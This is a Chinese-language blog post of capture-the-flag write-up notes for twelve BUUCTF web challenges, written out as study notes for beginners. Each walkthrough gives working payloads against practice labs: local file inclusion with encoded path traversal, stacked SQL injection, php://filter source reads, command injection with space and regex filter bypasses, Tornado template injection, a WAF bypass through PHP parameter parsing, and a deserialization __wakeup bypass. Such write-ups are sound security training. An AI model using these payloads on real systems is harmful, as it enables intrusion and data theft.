BUUCTF-Web_第一页_WP总结笔记(上)

BUUCTF-page_1 总结(上:1-12)

---钦原.2021-5月末

总目录整理:

文件包含类:

 

1: HCTF-warmup-2018:php(审计文件包含)

4.[ACTF2020 新生赛]Include

5.[极客大挑战 2019]Secret File

 

SQL注入类:

2.Web-强网杯sql随便注:

3.[SUCTF 2019]EasySQL

6.[极客大挑战 2019]LoveSQL

15.[极客大挑战 2019]BabySQL

21.[极客大挑战 2019]HardSQL

25.[GYCTF2020]Blacklist

22.[CISCN2019 华北赛区 Day2 Web1]Hack World

26.[GXYCTF2019]BabySQli

 

命令执行类:

7.[ACTF2020 新生赛]Exec

8.[GXYCTF2019]Ping Ping Ping

 

框架特性利用类:

9.[护网杯 2018]easy_tornado

php解析特性绕过利用类:

10.[RoarCTF 2019]Easy Calc

 

HTTP请求头等基础题类:

11.[极客大挑战 2019]Http

17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)

16.[ACTF2020 新生赛]BackupFilephp弱类型比较)

18.[BJDCTF2020]Easy MD5

24.[MRCTF2020]Ez_bypass(弱类型)

 

审计-反序列化类:

12.[极客大挑战 2019]PHP--->  php-serialize()反序列化

20.[ZJCTF 2019]NiZhuanSiWei

31.[网鼎杯 2020 青龙组]AreUSerialz

27.[网鼎杯 2018]Fakebook  sql+反序列化+ssrf

28.[网鼎杯 2020 青龙组]AreUSerialz

 

文件上传类:

13.[极客大挑战 2019]Upload

14.[ACTF2020 新生赛]Upload

19.[SUCTF 2019]CheckIn

23.[MRCTF2020]你传你马呢?

过于基础,如签到级别或万能密码true就出flag的暂未整理

写在前面:小弟我前部分题尽力都总结了考点+思路+涉及知识点总结等,后面实在搞不完了呜呜呜

 

1: HCTF-warmup-2018:php(审计文件包含)

l 考点:文件包含(phpmyadmin4.8.1+双重编码绕过(?-->%3f-->%253f

l 思路:大体同phpmyadmin4.8.1相应漏洞,因为开发者考虑过于周全,设置了两次?截断(防止url自动编码一次+防止包含的正常文件有用户传参)而引发的文件包含漏洞,满足条件触发true即可返回flag

l 涉及知识点:后续会发篇文章专门讲此题原型漏洞,略

l 具体做法

首先打开靶场,f12审计看到source.php,访问后得:


 

不难看出此题考点是文件包含:相应代码解析在图片中注释(不详细赘述,后面会发文单独说方法)

接着看到源码有hint.php


 

故构造:

Payload:

http://55487592-7d60-499c-a16f-e18308af5a9d.node3.buuoj.cn/?file=hint.php%25%33%66../../../../../ffffllllaaaagggg

得到flag

flag{a06ca838-dd77-48bc-a79b-dfd0890645bc}

2.Web-强网杯sql随便注:

l 考点:堆叠注入、sql语句掌握、反引号使用

l 思路:多种方法:1:堆叠注入+修改flag所在表名。2handler代替select  3:利用PREPARE STATEMENT

l 涉及知识点:如上述

l 具体做法
法一常规通法:
首先   堆叠注入:

1';or 1=1#有回显了

1';show databases;# 出库名

1';show tables;#

1'; show columns from `words`;

1'; show columns from `1919810931114514`;#

1'; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#

补充一下,读表的语句

1';show columns from `1919810931114514`; #

对以数字为表名的表进行操作时,需要加上`符号

 

法二handler

 

1';handler `1919810931114514` open;handler `1919810931114514` read first#


 

 

3.[SUCTF 2019]EasySQL

l 考点:猜测查询语句,堆叠注入,sql语句

l 思路:较坑,见解析

l 涉及知识点:     

1、堆叠注入

2set sql_mode=PIPES_AS_CONCAT;  ||视为字符串的连接操作符而非或运算符

     3、没有过滤*的时候可以直接注入*,输入*,1;常数增加临时列。

l 具体做法

https://blog.csdn.net/qq_43619533/article/details/103434935   解析

打开页面是一个搜索框,注入题,跑字典发现过滤的字符串。

由官方wp的解释来看,这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用。

解法1
输入的内容为*,1
内置的sql语句为  sql="select".post[query]."||flag from Flag";
如果$post[query]的数据为*,1sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1set sql_mode=pipes_as_concatselect 1||flag from Flag,读出flag

4.[ACTF2020 新生赛]Include

l 考点:文件包含include+  伪协议php://filter

l 思路:通过php://filter/read=convert.base64-encode/resource= 来查看base64的源码

l 涉及知识点:如上述

l 具体做法

进入靶场环境:

然后就啥也没了,但是url中有 ?file=flag.php 猜测文件包含漏洞,尝试

文件包含直接读取的是文件(运行php,而不是读取文件源码,所以要想办法读取源码

php://filter/read=convert.base64-encode/resource=要读取的文件名.php

这个方法可以读取代码

然后构造playload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

然后对得到的字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjNlMmIyYzAtNWY5Mi00NjJlLWFkYmYtZTA1ODhhMzQ0MjhjfQo=

进行base64解密得到flag

<?php

echo "Can you find out the flag?";

//flag{63e2b2c0-5f92-462e-adbf-e0588a34428c}

5.[极客大挑战 2019]Secret File

 

 

 

 

 

l 考点f12基础审计,php://filter伪协议,文件包含原理

l 思路:通过审计不断找到关键题眼页,审计源码发现过滤,用伪协议读取源码,得到flag

l 涉及知识点: php://filter/read=convert.base64-encode/resource=flag.php

l 具体做法

 

 


 

 

首先进入靶场,f12->


 

于是url访问,f12->


 

当从/Archive_room.php跳转到action.php期间,抓包


访问secr3t.php


 

分析这里可能是考察文件包含,过滤了../等,考虑上一关手法:通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看flag.php源码


 

放到burp进行base64解码看源码发现flag


 

6.[极客大挑战 2019]LoveSQL

抓包,sqlmap  -r ,最后dump

7.[ACTF2020 新生赛]Exec

 

l 考点linux管道符,命令执行基础原理

l 思路:基础命令执行,管道符结合命令查看系统文件即可

l 涉及知识点: 全面教程:https://blog.csdn.net/qq_41523170/article/details/107718894

l 具体做法

 


 

最基础的命令执行漏洞

127.0.0.1|ls ../

一层一层向上搜或者127.0.0.1 & ls ../../../../多退点  可见有flag
在最前面有flag
payload

127.0.0.1|cat ../../../flag或者127.0.0.1 & cat ../../../flag

flag

8.[GXYCTF2019]Ping Ping Ping

l 考点linux管道符,命令执行空格过滤绕过

l 思路:命令执行空格绕过+变量调序法(自己编的名,咳咳)绕过正则贪婪检测

l 涉及知识点: 全面教程:https://blog.csdn.net/qq_41523170/article/details/107718894

l 具体做法

命令执行空格过滤绕过方法:

${IFS}

payload1:

 

root@kali:~# cat flag

 

this is your flag

 

root@ kali:~# cat${IFS} flag

 

this is your flag

payload2

 

root@kali:~# cat${IFS}$1flag

 

this is your flag

payload3:

 

root@kali:~# cat$IFS$1flag

 

this is your flag

 

提示已经很明显了,linux管道命令执行。

?ip=127.0.0.1||ls

发现这个没有过滤。直接出现了flag.php index.php

尝试?ip=127.0.0.1||cat flag.php

fuck you space,过滤空格

?ip=127.0.0.1||cat$IFSflag.php

fuck you flag,把flag给过滤了。

那我们先把index.php看一看

?ip=127.0.0.1||cat$IFS$1index.php


 

这里有个要注意的 preg_match("/.*f.*l.*a.*g.*/", $ip)

. 匹配除空格外任意字符*贪婪匹配前面的字符这里的话,就比如**f***l**a**g***,形如这种的都会被过滤,还有就是fl**这种

过滤了一些字符,空格,bashflag的贪婪匹配。

flag只要顺序直接出现就过滤:

payload才先设置b=ag.php,再a=fl;

Payload:

/?ip=127.0.0.1||a=ag.php;b=fl;cat$IFS$1$b$a   //$IFS$后的1必须加上,不然不出flag

用的是法3绕过空格

9.[护网杯 2018]easy_tornado

l 考点tornado模板+render函数等

l 思路:根据三个txt的提示,利用?msg={{handler.settings}}获取的cookie-secret构造filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))

l 涉及知识点: tornado+handler.settings: 文档: https://www.cnblogs.com/bwangel23/p/4858870.html

l 具体做法

 

 

打开页面发现三个链接依次打开  发现各自的文本


 

Flag.txt:        flag in /fllllllllllllag

Welcome.txt:        render

Hints.txt:       md5(cookie_secret+md5(filename))

得到flag则试图构造:  filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}


 

根据获得的cookie_secret构造md5(cookie_secret+md5(filename))

注意filename是  带斜线的   /fllllllllllllag

建议Cmd5在线加密(本地php--md5结果我这里出了错,不能flag

构造后放到filehash即可输出flag

cookie_secret是会变的,payloadfilehash要自己重新用更新后的cookie_secret算。)

 

10.[RoarCTF 2019]Easy Calc

 

l 考点PHP字符串解析漏洞+ascii绕过(如chr(47)代替被过滤的/符号)+ 几个函数,见后文

l 思路:利用php对字符串解析特性+结合ascii码代替黑名单字符绕过waf检测,最后读取/f1agg文件内容

l 涉及知识点:同考点,具体知识点见后文

l 具体做法

 

F12得如下:


 

看到有calc.php(比较习惯的姿势是,f12直接搜php后缀,省着自己找了,有时候很方便)

所以访问:

http://node3.buuoj.cn:25528/calc.php


 

意思是:1. 必须GET收取到num变量

2. 经过安全过滤后,如果字符黑名单出现,输出what are you want to do

3. 如果正常,则输出所谓的num的值。

然后,尝试输入num的值分别为12确实如此。尝试输入非数字:abc


 

结合f12js来看,应该是被waf所拦截了

所以我们如果想进一步获取服务器中的flag的话,需要绕过waf检测

这里分析一个知识点:

1.PHP的字符串解析特性bypass WAF

以下这是别人对PHP字符串解析漏洞的理解

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPSWAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

我的理解:

假如waf不允许num变量传递字母:

http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话

那么我们可以在num前加个空格:

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

2.scandir()  : 列出 参数目录 中的文件和目录

从而知道flag在哪。

接着发现:

Wafcalc.php)过滤了:空格、常见转义字符、\、双引号 、反引号、 [ ] $/

那么我们尝试构造payload

首先我们要先扫根目录下的所有文件,也就是scandir("/"),但是“/”被过滤了,所以我们用chr(47)绕过,发现flagg文件:

/calc.php? num=1;var_dump(scandir(chr(47)));     


 

所以同样方式+读取这个文件(file_get_contents:文件读入字符串输出)

查看/f1agg

Payload:  /calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));


 

 

11.[极客大挑战 2019]Http

l 考点http基础:协议请求头的功能

l 思路:顺着走就行了

l 涉及知识点: referer判断你从哪个页面来;UA头可以理解我你浏览器访问携带的基本信息;XFF判断你是谁

l 具体做法:这关不多bb

 

打开后:f12审计,直接jsphp,发现Secret.php

打开后

然后判断从哪个页面来是Referer,抓包发现没有,直接添加,及其值:

HACKBAR或者burpburp很少出问题)


 

然后又提示浏览器不对劲

则:改UA头即可:(一定添加上之前改完的,建议hackbar

最后提示来源只能是本地:添加X-Forwarded-For请求头值为localhost即可:

上结果图:


 

12.[极客大挑战 2019]PHP

 

l 考点:反序列化审计+_wakeup()函数绕过+绕过私有变量%00

l 思路:反序列化审计后,本地编写,构造一个带有_wakeup()函数+私有变量%00绕过的反序列化字符串

l 涉及知识点: 如上述,题末有附加知识点

l 具体做法

 

 
 

提示备份=找源码

7kbctf源码泄露字典;


 

下载解压得:


 

Class.php:


 

Index.php(注意圈住的)
        


 

所以index.php ,会调用class.php,以及对输入进行反序列化

而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。


 

输出:
        

然后

1.因为要绕过wakeup,Name后的数字改成3或更大.

2.因为usernamepassword是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要 加上%00
最后payload:

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

Flag


 

Over需额外了解:详细绕过原理:https://xz.aliyun.com/t/6454


本篇为(上1-12),后续陆续发,大佬勿喷,菜鸟笔记而已,供新手学习,有问题欢迎联系。

                                    --钦原


来源链接:
本博客所有文章如无特别注明均为原创。作者:渊龙Sec团队复制或转载请以超链接形式注明转自 渊龙Sec安全团队博客
原文地址《BUUCTF-Web_第一页_WP总结笔记(上)
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)